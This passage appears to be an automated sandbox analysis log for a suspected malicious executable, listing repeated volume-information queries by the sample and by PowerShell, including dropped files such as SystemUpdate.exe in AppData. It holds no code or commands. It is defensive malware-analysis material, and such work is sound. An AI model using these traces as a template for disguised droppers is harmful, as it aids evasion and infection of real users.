Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\LineInst.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\WinHex.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\SystemUpdate.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI22562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
